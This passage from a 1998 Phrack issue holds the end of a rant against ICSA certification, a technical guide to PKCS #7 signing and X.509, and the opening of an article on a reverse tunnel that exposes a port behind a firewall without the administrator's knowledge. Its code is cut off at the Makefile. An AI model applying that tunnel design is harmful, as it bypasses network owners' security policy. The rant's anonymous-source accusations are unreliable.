Profit is a desirable goal in a business. However, the ICSA pretends to be
|
||
an industry association. This is a complete and total fabrication. ICSA is
|
||
not an industry association -- it is a for-profit enterprise that competes for
|
||
business directly with the companies it pretends to help.
|
||
|
||
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||
|
||
|
||
Let's look at the ICSA's knowledge of computer security:
|
||
|
||
"Early computer security issues focused on virus protection. "
|
||
|
||
This is where the ICSA accidentally informs us if their true history. No one
|
||
with half of a clue would claim that "Early computer security issues focused
|
||
on virus protection." In reality, early computer security issues focused on
|
||
the protection of mainframe systems. Virus protection did not become a
|
||
concern until the 1980's. We can only conclude that no one at the ICSA has a
|
||
background in computer security outside of personal computer security. These
|
||
folks seem to be Unix illiterate -- not to speak of VM, MVS, OS/400, AOS/VS,
|
||
VMS or a host of other systems where corporations store vast amounts of data.
|
||
Focusing primarily on PC security will not benefit the overall security
|
||
posture of your organization.
|
||
|
||
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||
|
||
|
||
Let's look at another baseless claim of the ISCA:
|
||
|
||
"ICSA consortia facilitate an open exchange of information among
|
||
security industry product developers and security service
|
||
providers within narrow, but well defined segments of the
|
||
computer security industry."
|
||
|
||
According to the "security industry product developers and security service
|
||
providers" that I have spoken with, this is complete hogwash. The word on the
|
||
street is that the ICSA folks collect information and then give nothing useful
|
||
in return. My response is "How could they?" No one at ICSA has any
|
||
information to offer. You would do as well to ask your 12 year old daughter
|
||
for information about computer security -- and you might even do better, if
|
||
your daughter reads Phrack.
|
||
|
||
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||
|
||
|
||
Let's look at what the ICSA has to say about their Web Certification program:
|
||
|
||
"The ICSA Web Certification materially reduces web site risks
|
||
and liability for both operator and visitor by providing,
|
||
verifying and improving the use of logical, physical and
|
||
operational baseline security standards and practices."
|
||
|
||
"Comprised of a detailed certification field guide, on-site
|
||
evaluation, remote test, random spot checks, and an evolving set
|
||
of endorsed best practices, ICSA certification uniquely
|
||
demonstrates management's efforts to assure site availability,
|
||
information protection, and data integrity as well as enhanced
|
||
user confidence and trust."
|
||
|
||
|
||
What really happens is that ICSA sends out a reseller to your site. The
|
||
reseller then asks you if you have set up your site correctly. You tell the
|
||
reseller that you have, and then the reseller tells ICSA that you have set up
|
||
your site correctly. Very few items are actually verified by the reseller.
|
||
ICSA then runs ISS (Internet Security Scanner) against your web server. If ISS
|
||
cannot detect any security vulnerabilities remotely, you receive ICSA Web
|
||
Certification.
|
||
|
||
For grilling your staff with a series of almost meaningless questions, the
|
||
reseller receives $2,975 US dollars. For running ISS against your web server,
|
||
ICSA receives $5,525. For $19. 95, you can buy a copy of Computer Security
|
||
Basics by Deborah Russell and G.T. Gangemi Sr. (ISBN:0-937175-71-4) and save
|
||
your company almost $8,500.
|
||
|
||
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||
|
||
|
||
Let's look at the ICSA's Reseller Training:
|
||
|
||
ICSA states that every reseller that delivers their product is trained in
|
||
computer security. In practice, however, this training is actually _sales_
|
||
training. The ICSA training course lasts for less than one day and is
|
||
supposed to be conducted by two trainers, one sales person and one technical
|
||
person. One recipient of this training told me that the technical person did
|
||
not bother to show up for his training, while another recipient of this
|
||
training told me that ICSA instead sent _two_ sales people and _no_ technical
|
||
people to his training.
|
||
|
||
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||
|
||
|
||
Let's look at what ICSA says about change in the "digital world" of
|
||
firewalls:
|
||
|
||
"The digital world moves far too quickly to certify only a
|
||
particular version of a product or a particular incarnation of a
|
||
system. Therefore, ICSA certification criteria and processes are
|
||
designed so that once a product or system is certified, all
|
||
future versions of the product (or updates of the system) are
|
||
inherently certified."
|
||
|
||
|
||
What does this mean to you? It means that ICSA is certifying firewalls
|
||
running code that they have never seen. It means that if you purchase a
|
||
firewall that has been ICSA certified -- you have no way of knowing if the
|
||
version of the firewall product that is protecting your organization has ever
|
||
been certified.
|
||
|
||
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||
|
||
|
||
Let's look at how ICSA defends itself from such allegations? ISCA has
|
||
three ready made defenses:
|
||
|
||
"First, the ICSA gains a contractual commitment from the
|
||
product vendor or the organization that owns or runs the
|
||
certified system that the product or system will be maintained
|
||
at the current, published ICSA certification standards. "
|
||
|
||
So that's how ICSA certification works, the firewall vendors promise to write
|
||
good code and ICSA gives them a sticker. This works fine with little children
|
||
in Sunday school, but I wouldn't trust the security of my business to such a
|
||
plan.
|
||
|
||
"Secondly, ICSA or it's authorized partners normally perform
|
||
random spot checking of the current product (or system) against
|
||
current ICSA criteria for that certification category. "
|
||
|
||
Except, of course, that an unnamed source within ICSA itself admitted that
|
||
these spot checks are not actually being done. That's right, these spot
|
||
checks exist only in the minds of the marketing staff of the ICSA. ICSA
|
||
cannot manage to cover the costs of spot checking in their exorbitant fee
|
||
structure. They must be spending the money instead on all of those free
|
||
televisions they are giving away to their resellers.
|
||
|
||
"Thirdly, ICSA certification is renewed annually. At renewal
|
||
time, the full certification process is repeated for the current
|
||
production system or shipping products against the current
|
||
criteria. "
|
||
|
||
Well here we have the final promise -- our systems will never out of
|
||
certification for more than 364 days. If our firewall vendor ships three new
|
||
releases a year -- at least one of them will go through the actual ICSA
|
||
certification process. Of course, all of them will have the ICSA certification
|
||
sticker.
|
||
|
||
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||
|
||
|
||
Let's looks at what ICSA has to say about their procedures:
|
||
|
||
"The certification criteria is not primarily based on
|
||
fundamental design or engineering principles or on an assessment
|
||
of underlying technology. In most cases, we strive to use a
|
||
black-box approach. "
|
||
|
||
Listen to what they are really saying here. They are admitting that their
|
||
certification process does not deal with "fundamental design or engineering
|
||
principles" or on an "assessment of underlying technology". What else is left
|
||
to base a certification upon? Do they certify firewalls based upon the
|
||
firewall vendors marketing brochures? Upon the color of their product boxes?
|
||
Upon the friendliness of their sales staff? Or maybe they just certify anyone
|
||
who gives them money.
|
||
|
||
When you are clueless, every computer system must look like a "black-
|
||
box" to you.
|
||
|
||
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||
|
||
|
||
Let's look at how the ICSA web certification process deals with CGI
|
||
vulnerabilities:
|
||
|
||
"The Site Operator attest that CGIs have been reviewed by
|
||
qualified reviewers against design criteria that affect
|
||
security. " (sic)
|
||
|
||
|
||
Let's take a close look at this. The #1 method of breaking into web servers
|
||
is to attack a vulnerable CGI program. And the full extent that the ICSA
|
||
certification deals with secure CGI programming is to have your staff attest
|
||
that they have done a good job. What sort of employee would respond "Oh no,
|
||
we haven't even looked at the security of those CGI bins?" The ICSA counts on
|
||
employees trying to save their jobs to speed the certification process along
|
||
to it's conclusion.
|
||
|
||
|
||
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||
|
||
Let's look at what ICSA has to say about it's own thoroughness:
|
||
|
||
"Because it is neither practical nor cost effective, ICSA does
|
||
not test and certify every possible combination of web sites on
|
||
a web server at various locations unless requested to, and
|
||
compensated for, by Customer. "
|
||
|
||
We all know that security is breached at it's weakest link, not it's
|
||
strongest. If we choose to certify only some of our systems, we can only
|
||
assume that attackers will them simply move on and attack our unprotected
|
||
systems. Perhaps if ICSA did not attempt to extort $8,500 for a single web
|
||
server certification, more customers could have all of their web sites
|
||
certified.
|
||
|
||
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||
|
||
|
||
Let's look at how much faith ICSA puts in their own certifications:
|
||
|
||
"Customer shall defend, indemnify, and hold ICSA harmless from
|
||
and against any and all claims or lawsuits of any third party
|
||
and resulting costs (including reasonable attorneys' fees),
|
||
damages, losses, awards, and judgements based on any claim that
|
||
a ICSA-certified server/site/system was insecure, failed to meet
|
||
any security specifications, or was otherwise unable to
|
||
withstand an actual or simulated penetration.
|
||
|
||
|
||
In plain English, they are saying that if you get sued, you are on your own.
|
||
But wait, their faithlessness does not stop there:
|
||
|
||
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||
|
||
|
||
Let's look at how the ICSA sees it's legal relationship with it's
|
||
customers:
|
||
|
||
"Customer, may, upon written notice and approval of ICSA, assume
|
||
the defense of any claim or legal proceeding using counsel of
|
||
it's choice. ICSA shall be entitled to participate in, but not
|
||
control, the defense of any such action, with it's own counsel
|
||
and at it's own expense: provided, that if ICSA, it its sole
|
||
discretion, determines that there exists a conflict of interest
|
||
between Customer and ICSA, ICSA shall have the right to engage
|
||
separate counsel, the reasonable costs of which shall be paid by
|
||
the customer. "
|
||
|
||
What you, the customer, agree to when you sign up for ICSA certification is
|
||
that you cannot even legally defend yourself in court until you have "written
|
||
notice and approval of ICSA. " But it's even worse that that, ICSA then
|
||
reserves the right to hire lawyers and bill YOU for the expense if it feels
|
||
that you are not sufficiently protecting it's interests. Whose corporate
|
||
legal department is going to okay a provision like this?
|
||
|
||
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||
|
||
|
||
Let's look at how much the ICSA attempts to charge for this garbage:
|
||
|
||
===========================================================
|
||
| Web Certification |
|
||
| |
|
||
| 1 Server $8,500 |
|
||
| 2-4 Servers $7,650 |
|
||
| 5 or more Servers $6,800 |
|
||
| |
|
||
| 6-10 DNS $ 495 |
|
||
| 11 or more DNS $ 395 |
|
||
| |
|
||
| Perimeter Check |
|
||
| |
|
||
| up to 15 Devices $3,995 |
|
||
| additional groups of 10 Devices $1,500 |
|
||
| bi-monthly reports $1,000 |
|
||
| monthly reports $3,500 |
|
||
| |
|
||
| War Dial |
|
||
| |
|
||
| first 250 phone lines $1,000 |
|
||
| additional lines $3/line |
|
||
| |
|
||
| Per Diem |
|
||
| |
|
||
| Domestic $ 995 |
|
||
| International $1,995 |
|
||
| |
|
||
===========================================================
|
||
|
||
Certifying one web server will cost you $8,500. I have seen small web servers
|
||
purchased, installed, and designed for less than that amount.
|
||
|
||
If you tell the ICSA that you have 15 network devices visible on the Internet
|
||
and they discover 16 devices, they will bill you an additional $1,500. This
|
||
is what you agree to when you sign a ICSA Perimeter Check contract. In
|
||
effect, when you sign up for an ICSA Perimeter Check, you are agreeing to pay
|
||
unspecified fees.
|
||
|
||
To dial an entire prefix the ICSA will charge you $30,250. I wonder if these
|
||
folks are using ToneLoc. I wonder if these fools are even using modems...
|
||
|
||
I will leave judgement on the per diem rates to the reader. How much would
|
||
you pay for a clown to entertain at your daughters birthday party? Would you
|
||
give the clown a daily per diem of $995? Why would you feel the ICSA clowns
|
||
might deserve better? How do you spend $995 a day and still manage to put in
|
||
some work hours?
|
||
|
||
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||
|
||
|
||
These are just a few excerpts from some ICSA documentation I managed to get my
|
||
hands on. I do not feel my assessment has been any more harsh than these
|
||
people deserve. I am certain that if I had more of their literature, there
|
||
would be even more flagrant examples of ignorance and greed.
|
||
|
||
ICSA feeds on business people who are so ignorant as to fall for the ICSA
|
||
propaganda. By masquerading as a legitimate trade organization, they make
|
||
everyone in the data security industry look bad. By overcharging the
|
||
clientele, they drain money from computer security budgets that could better
|
||
be spent on securing systems and educating users. By selling certifications
|
||
with no actual technical validity behind them they fool Internet users into a
|
||
false sense of security when using e-commerce sites.
|
||
|
||
ISCA is good for no one and it is good for nothing.
|
||
|
||
|
||
Dorathea Demming
|
||
Mechanicsburg, PA
|
||
10 Oct, 1997
|
||
|
||
|
||
----[ EOF
|
||
|
||
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 15 of 20
|
||
|
||
|
||
-------------------------[ Technical Guide to Digital Certification
|
||
|
||
|
||
--------[ Yggdrasil
|
||
|
||
|
||
|
||
Introduction
|
||
~~~~~~~~~~~~
|
||
Today's software technology provides not only flexible controls for web pages
|
||
and complex remote interaction (ActiveX controls, Java applets and Netscape
|
||
plugins) but also offers the possibility of downloading pieces of code for
|
||
local execution to extend browsers capabilities. A major issue being the
|
||
fact that this code cannot be initially distinguished from malicious code
|
||
(virii/trojans, "man in the middle" attacks, forced downgrade, forgery of
|
||
electronic documents, etc), disguised as utilities.
|
||
|
||
The point is that end users do not know who published of a piece of software,
|
||
if the code has been tampered with, and what that software will do, (until they
|
||
download and execute it). Anyone can create plugins, applets or controls
|
||
containing this potentially destructive code or even "intelligent" malevolent
|
||
code, able to communicate covertly with a remote server.
|
||
|
||
Public-key cryptography has produced a number of different implementations
|
||
to verify the authenticity of software, network objects, documents and data
|
||
transactions (for example, Electronic Funds Transfer) using Digital IDs.
|
||
|
||
|
||
Authenticode Certifications
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
Microsoft recently adopted Authenticode technology to sign their ActiveX
|
||
based software. Any individual or commercial software publisher desiring
|
||
their code to be "trusted" must apply for and receive a Digital Certificate
|
||
from an Authenticode Certificate Authority (CA), such as VeriSign. The CA
|
||
will request proof-of-identity, and other information, only then will they
|
||
verify the publishers credentials (even employing Dun & Bradstreet rating).
|
||
After the CA has decided that the publisher meets its policy criteria, it
|
||
releases a Certificate (the expected cost is about $500 for a year, plus
|
||
additional costs for hardware storage for commercial developers, up to
|
||
$12,000).
|
||
|
||
[ God save the next-generation developers. ]
|
||
|
||
A Digital Certificate contains the publishers public-key (and other info)
|
||
encrypted according to the industry standard X.509 V3 certificate format and
|
||
PKCS #7 signed data standards.
|
||
|
||
The ITU-T recommendation for X.509 states that:
|
||
|
||
"It would be a serious breach of security if the CA issued a certificate for
|
||
a user with a public key that had been tampered with."
|
||
|
||
All Certificates have an expiration time, but the CA may revoke them prior
|
||
to that time if a publisher's private-key or CA's certificate is assumed to
|
||
be compromised. The CA may (or may NOT) inform the owner of the certificate.
|
||
|
||
|
||
Revocation Lists
|
||
~~~~~~~~~~~~~~~~
|
||
The Revocation Lists, also called "black-lists", are held within entries as
|
||
attributes of types CertificateRevocationList and AuthorityRevocationList.
|
||
|
||
Their attribute types are defined as follows:
|
||
|
||
certificateRevocationList ATTRIBUTE ::= {
|
||
WITH SYNTAX CertificateList
|
||
EQUALITY MATCHING RULE certificateListExactMatch
|
||
ID id-at-certificateRevocationList }
|
||
|
||
authorityRevocationList ATTRIBUTE ::= {
|
||
WITH SYNTAX CertificateList
|
||
EQUALITY MATCHING RULE certificateListExactMatch
|
||
ID id-at-authorityRevocationList }
|
||
|
||
CertificateList ::= SIGNED { SEQUENCE {
|
||
version Version OPTIONAL,
|
||
signature AlgorithmIdentifier, <----+
|
||
issuer Name, |
|
||
thisUpdate UTCTime, |
|
||
nextUpdate UTCTime OPTIONAL, version 2
|
||
revokedCertificates SEQUENCE OF SEQUENCE { only
|
||
userCertificate CertificateSerialNumber, (extension)
|
||
revocationDate UTCTime, |
|
||
crlEntryExtensions Extensions OPTIONAL } OPTIONAL, |
|
||
crlExtensions [0] Extensions OPTIONAL }} <----+
|
||
|
||
|
||
Implementation of X.509-3
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
The ITU-T X.509 Directory Specification makes use of a set of cryptographic
|
||
systems known as asymmetric Public-Key Crypto-Systems (PKCS). This system
|
||
involves the use of two keys (one secret and one public as used in common
|
||
public key packages like PGP).
|
||
|
||
Both keys can be used for encoding: the private key to decipher if the
|
||
public key was used, and vice versa (Xp*Xs = Xs*Xp, where Xp/Xs are the
|
||
key-encoding/decoding functions).
|
||
|
||
When applied to Digital Signatures, the public key encryption is used to
|
||
encipher the data to be signed after it's passed through a hash function.
|
||
Information is signed by appending to it an enciphered summary of the info.
|
||
The summary is produced by means of a one-way hash function, while the
|
||
enciphering is carried out using the private key of the signer.
|
||
|
||
For further information about X.509 and certificate types please read
|
||
the ITU-T Recommendation X.509 ("The Directory: Authentication Framework").
|
||
|
||
|
||
Windows Trust API
|
||
~~~~~~~~~~~~~~~~~
|
||
To ascertain an objects reliability under Win32, the WinVerifyTrust() API
|
||
function is used, according to its prototype as follows:
|
||
|
||
HRESULT --------------- Description ---------------
|
||
WINAPI
|
||
WinVerifyTrust (
|
||
HWND hwnd, <>0 to allow user to assist in trust decision
|
||
DWORD dwTrustProvider, 0 = provider unknown, 1 = software publisher
|
||
DWORD dwActionID, specifies what to verify
|
||
LPVOID ActionData information required by the trust provider
|
||
)
|
||
|
||
The HRESULT return code will be TRUST_E_SUBJECT_NOT_TRUSTED if the object
|
||
is not trusted (according to the specified action in dwActionID). An error
|
||
code more detailed than this could be provided by the trust provider.
|
||
|
||
|
||
Creation of a Digitally Signed message
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
PKCS #7 specifies several "types", such as ContentInfo, SignedData and
|
||
SignerInfo. Version 1.5 of PKCS #7 describes the ContentInfo type as:
|
||
|
||
ContentInfo ::= SEQUENCE {
|
||
contentType ContentType,
|
||
content
|
||
[0] EXPLICIT ANY DEFINED BY contentType OPTIONAL }
|
||
|
||
ContentType ::= OBJECT IDENTIFIER
|
||
|
||
the content is (or better: MAY be) an octet-stream ASCII string to be passed
|
||
to the selected digest algorithm (an example is MD2, see RFC-1321).
|
||
|
||
The first step is to encode the ContentInfo field according to PKCS #7.
|
||
This is the resulting encoded data:
|
||
|
||
== DATA BLOCK #1 ==
|
||
|
||
{30 28} 06 09 0x0609: contentType = data
|
||
2A 86 48 86 F7 0D 01 07 01 PKCS #7 data-object ID
|
||
A0 1B [0] EXPLICIT
|
||
04 [msg_len] content = OCTET STRING
|
||
[octet stream representing
|
||
the ASCII string, msg_len bytes long] <-- value (*)
|
||
|
||
This (*) data is the input stream to the encoding algorithm (MD2 or other):
|
||
|
||
(the identifier of the PKCS #7 data object is {1 2 840 113549 1 7 1})
|
||
|
||
== DATA BLOCK #2 ==
|
||
|
||
{30 20} 30 0C 0x300C: digestAlgorithm
|
||
06 08 2A 86 48 86 F7 0D 02 02 algorithm ID = MD2
|
||
05 00 parameters = NULL (0x00)
|
||
04 [block_len] digest
|
||
[encoded data (MD2 output)]
|
||
|
||
(the object identifier of the MD2 algorithm is {1 2 840 113549 2 2})
|
||
|
||
This data is the encoded DigestInfo. It will be encrypted under RSA using
|
||
the user's private key.
|
||
|
||
According to PKCS #1, RSA encryption has two main steps: an encryption data
|
||
block is constructed from a padding string and the prefixed message digest;
|
||
then the encryption block is exponentiated with the user's private key.
|
||
|
||
The encryption block EB is the following 64-octet string:
|
||
|
||
00 01 block type
|
||
FF FF FF FF FF FF FF FF FF FF FF FF FF FF padding string
|
||
FF FF FF FF FF FF FF FF FF FF FF FF FF
|
||
00 separator (0x00)
|
||
[here goes the whole DATA BLOCK #2] data bytes (prf. message digest)
|
||
|
||
Now we need to encode various information: a SignedData value from the inner
|
||
ContentInfo value, then the encrypted message digest, the issuer and serial
|
||
number of the user's certificate, the certificate data, the message digest
|
||
algorithm ID (MD2) and the encryption algorithm ID (PKCS #1 RSA).
|
||
|
||
The encoded SignedData is:
|
||
|
||
== DATA BLOCK #3 ==
|
||
|
||
30 82 02 3D
|
||
02 01 01 version = 1
|
||
31 [size of inner data block] digestAlgorithms
|
||
30 [size]
|
||
06 08 2A 86 48 86 F7 0D 02 02 algorithm ID = MD2
|
||
05 00 parameters = NULL (0x00)
|
||
[ContentInfo data] content = inner ContentInfo
|
||
A0 82 01 [size] certificates
|
||
[certificate data] user's certificate
|
||
31 81 [size] signerInfos
|
||
30 81 [size]
|
||
02 01 01 version = 1
|
||
30 [size] issuerAndSerialNumber
|
||
[issuer data] issuer
|
||
02 04 {12 34 56 78} size (4), serialNumber (12345678)
|
||
30 [alg_size] digestAlgorithm
|
||
06 08 2A 86 48 86 F7 0D 02 02 algorithm ID = MD2
|
||
05 00 parameters = NULL (0x00)
|
||
30 [dig_size] digestEncryptionAlgorithm
|
||
06 [sz] rsaEncryption (d.E.A.)
|
||
2A 86 48 86 F7 0D 01 01 01
|
||
05 00 parameters = NULL (0x00)
|
||
04 [data_size] encryptedDigest
|
||
[encrypted digestInfo encoded data block]
|
||
|
||
Finally, a ContentInfo value from this SignedData data block is encoded (once
|
||
again, using PKCS #7):
|
||
|
||
30 82 02 [size]
|
||
06 09 2A 86 48 86 F7 0D 01 07 02 contentType = signedData
|
||
A0 82 02 [size] [0] EXPLICIT
|
||
[here goes the whole DATA BLOCK #3] content = SignedData value
|
||
|
||
(the object identifier of PKCS #7 signedData is {1 2 840 113549 1 7 2})
|
||
|
||
|
||
PKCS Key Example
|
||
~~~~~~~~~~~~~~~~
|
||
The following is the full hex dump of the above PKCS #7 encoded key.
|
||
|
||
|
||
HEX Dump -------------------------------------: ASCII Dump ----:
|
||
|
||
30 82 02 50 06 09 2A 86 48 86 F7 0D 01 07 02 A0 0..P..*.H.......
|
||
82 02 41 30 82 02 3D 02 01 01 31 0E 30 0C 06 08 ..A0..=...1.0...
|
||
2A 86 48 86 F7 0D 02 02 05 00 30 28 06 09 2A 86 *.H.......0(..*.
|
||
48 86 F7 0D 01 07 01 A0 1B 04 19 41 20 64 65 6D H..........A dem
|
||
6F 20 43 6F 6E 74 65 6E 74 49 6E 66 6F 20 73 74 o ContentInfo st
|
||
72 69 6E 67 A0 82 01 5E 30 82 01 5A 30 82 01 04 ring...^0..Z0...
|
||
02 04 14 00 00 29 30 0D 06 09 2A 86 48 86 F7 0D .....)0...*.H...
|
||
01 01 02 05 00 30 2C 31 0B 30 09 06 03 55 04 06 .....0,1.0...U..
|
||
13 02 55 53 31 1D 30 1B 06 03 55 04 0A 13 14 45 ..US1.0...U....E
|
||
78 61 6D 70 6C 65 20 4F 72 67 61 6E 69 7A 61 74 xample Organizat
|
||
69 6F 6E 30 1E 17 0D 39 32 30 39 30 39 32 32 31 ion0...920909221
|
||
38 30 36 5A 17 0D 39 34 30 39 30 39 32 32 31 38 806Z..9409092218
|
||
30 35 5A 30 42 31 0B 30 09 06 03 55 04 06 13 02 05Z0B1.0...U....
|
||
55 53 31 1D 30 1B 06 03 55 04 0A 13 14 45 78 61 US1.0...U....Exa
|
||
6D 70 6C 65 20 4F 72 67 61 6E 69 7A 61 74 69 6F mple Organizatio
|
||
6E 31 14 30 12 06 03 55 04 03 13 0B 41 20 64 65 n1.0...U....A de
|
||
6D 6F 20 55 73 65 72 30 5B 30 0D 06 09 2A 86 48 mo User0[0...*.H
|
||
86 F7 0D 01 01 01 05 00 03 4A 00 30 47 02 40 0A .........J.0G.@.
|
||
66 79 1D C6 98 81 68 DE 7A B7 74 19 BB 7F B0 C0 fy....h.z.t.....
|
||
01 C6 27 10 27 00 75 14 29 42 E1 9A 8D 8C 51 D0 ..'.'.u.)B....Q.
|
||
53 B3 E3 78 2A 1D E5 DC 5A F4 EB E9 94 68 17 01 S..x*...Z....h..
|
||
14 A1 DF E6 7C DC 9A 9A F5 5D 65 56 20 BB AB 02 ....|....]eV ...
|
||
03 01 00 01 30 0D 06 09 2A 86 48 86 F7 0D 01 01 ....0...*.H.....
|
||
02 05 00 03 41 00 45 1A A1 E1 AA 77 20 4A 5F CD ....A.E....w J_.
|
||
F5 76 06 9D 02 F7 32 C2 6F 36 7B 0D 57 8A 6E 64 .v....2.o6{.W.nd
|
||
F3 9A 91 1F 47 95 DF 09 94 34 05 11 A0 D1 DF 4A ....G....4.....J
|
||
20 B2 6A 77 4C CA EF 75 FC 69 2E 54 C2 A1 93 7C .jwL..u.i.T...|
|
||
07 11 26 9D 9B 16 31 81 9B 30 81 98 02 01 01 30 ..&...1..0.....0
|
||
34 30 2C 31 0B 30 09 06 03 55 04 06 13 02 55 53 40,1.0...U....US
|
||
31 1D 30 1B 06 03 55 04 0A 13 14 45 78 61 6D 70 1.0...U....Examp
|
||
6C 65 20 4F 72 67 61 6E 69 7A 61 74 69 6F 6E 02 le Organization.
|
||
04 14 00 00 29 30 0C 06 08 2A 86 48 86 F7 0D 02 ....)0...*.H....
|
||
02 05 00 30 0D 06 09 2A 86 48 86 F7 0D 01 01 01 ...0...*.H......
|
||
05 00 04 40 05 FA 6A 81 2F C7 DF 8B F4 F2 54 25 ...@..j./.....T%
|
||
09 E0 3E 84 6E 11 B9 C6 20 BE 20 09 EF B4 40 EF ..>.n... . ...@.
|
||
BC C6 69 21 69 94 AC 04 F3 41 B5 7D 05 20 2D 42 ..i!i....A.}. -B
|
||
8F B2 A2 7B 5C 77 DF D9 B1 5B FC 3D 55 93 53 50 ...{\w...[.=U.SP
|
||
34 10 C1 E1 E1 4....
|
||
|
||
Many other demo (not only ;) keys, tons of related C++ source/libraries for
|
||
Linux and Win32 and documentation can be found on my web site at this address
|
||
(case sensitive):
|
||
|
||
http://members.tripod.com/~xception_0x0A28/penumbra.html
|
||
|
||
|
||
"That which does not kill us
|
||
makes us stronger"
|
||
-- Friedrich Nietzsche
|
||
|
||
----[ EOF
|
||
|
||
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 16 of 20
|
||
|
||
|
||
-------------------------[ Piercing Firewalls
|
||
|
||
|
||
--------[ bishnu@hotmail.com
|
||
|
||
|
||
Introduction:
|
||
|
||
Many ISPs manage a firewall to protect their users against the hostile
|
||
Internet. While the firewall might protect the users, it also serves to limit
|
||
their freedom.
|
||
|
||
Most firewalls don't allow a connection to be established if the
|
||
initiative is coming from the outside, as this automatically disables many
|
||
security vulnerabilities. Unfortunately, this also means that many other
|
||
things are not possible; for example, sending an X-display to a machine behind
|
||
the firewall, or something similar.
|
||
|
||
One solution is to ask the firewall administrator to configure the firewall
|
||
not to disable X connections (or the port you plan to use. This normally
|
||
means allowing connections on port 6000 to penetrate the firewall. But often
|
||
the admin does not want to, as he is either too busy, hasn't figured out how
|
||
to configure the firewall yet, or simply refuses to, as it violates the site
|
||
security policy. Maybe you don't even want him to know that you plan to send
|
||
some traffic backwards.
|
||
|
||
For this purpose I wrote two simple programs that transmit TCP connections
|
||
back thorough a tunnel, to your machine.
|
||
|
||
|
||
The tunnel:
|
||
|
||
The solution is two programs, one running at your machine, or some other
|
||
machine behind the firewall, and another running at some *NIX-box on the
|
||
Internet. The program behind the firewall (called tunnel) connects to a
|
||
program (called portal) on the machine on the Internet. This connection
|
||
probably won't be intercepted by the firewall (depending on the security
|
||
policy), as it is outgoing. Once the connection from the tunnel to the portal
|
||
is established, the portal opens a port for incoming TCP traffic, and we are
|
||
ready to rock. Whenever a machine connects to the portal it sends the request
|
||
back to the tunnel thorough the already established connection through the
|
||
firewall, the tunnel will then forward the connection to your machine.
|
||
|
||
The effect will be that you drag a port on your machine (or any machine
|
||
behind the firewall) onto the other side of the firewall, which means that
|
||
anyone can connect to it regardless of the site's security policy.
|
||
|
||
An example:
|
||
|
||
Goof: Your machine.
|
||
Foo : Some other machine behind the firewall or same as Goof, running 'tunnel'.
|
||
Bar : Some machine on the other side of the firewall running 'portal'.
|
||
Boof: Some machine wanting to connect to machine Goof, or same as Bar.
|
||
|
||
FIREWALL
|
||
tunnel ^ portal
|
||
######### ^ #########
|
||
# Foo #======================# Bar #
|
||
######### ^ #########
|
||
| ^ |
|
||
| ^ |
|
||
| ^ |
|
||
######### ^ #########
|
||
# Goof # ^ # Boof #
|
||
######### ^ #########
|
||
FIREWALL
|
||
|
||
|
||
|
||
You are sitting on machine Goof, and you run some program on machine Boof,
|
||
this program happens to be using X-windows, so you want to send the display
|
||
back to machine Goof. X-windows tries to establish a TCP connection through
|
||
the firewall, which is 'burned'.
|
||
|
||
So you start the tunnel on machine Foo, and set it to connect to machine
|
||
Bar at lets say port 7000 (where the portal is running), also you set the
|
||
tunnel to forward all TCP connections, coming back from the portal, to your
|
||
machine Goof on port 6000 (X-windows). You start the portal on machine Bar,
|
||
and you make it listen for the tunnel on port 7000. Once the tunnel has
|
||
connected, the portal listens on port 6001 for incoming X. Whenever some
|
||
X-application connects to the portal, the connection is passed to the tunnel,
|
||
which then forwards it to machine Goof on port 6000.
|
||
|
||
Finally on machine Boof you set your display to machine Bar:1 (in a tcsh
|
||
type 'setenv DISPLAY bar:1', in bash 'export DISPLAY=bar:1'), which tells the
|
||
application to use port 6001 (We can't use port 6000 if the machine is running
|
||
a X-server itself). You start your Xeyes, and they pop in your face.
|
||
|
||
|
||
Conclusion:
|
||
|
||
If you use this program to cross a firewall you surely violate the ISP's
|
||
security policy, as anybody can cross it as well, that is if they know, and
|
||
there is nothing like security by obscurity. So don't tell your mom.
|
||
|
||
An advantage of this approach is that you don't need to have root access on
|
||
either machine, which is makes the whole process a bit easier.
|
||
|
||
To compile the code, just do a `make`. It has been tested on
|
||
Solaris 2.5.x, 2.6
|
||
IRIX 6.[2,3,4]
|
||
FreeBSD 2.1.5
|
||
HPUX 10.x
|
||
Linux 2.0.x
|
||
|
||
|
||
----[ THE CODE
|
||
|
||
|
||
<++> tunnel/Makefile
|
||
CC = gcc
|
||
|
||
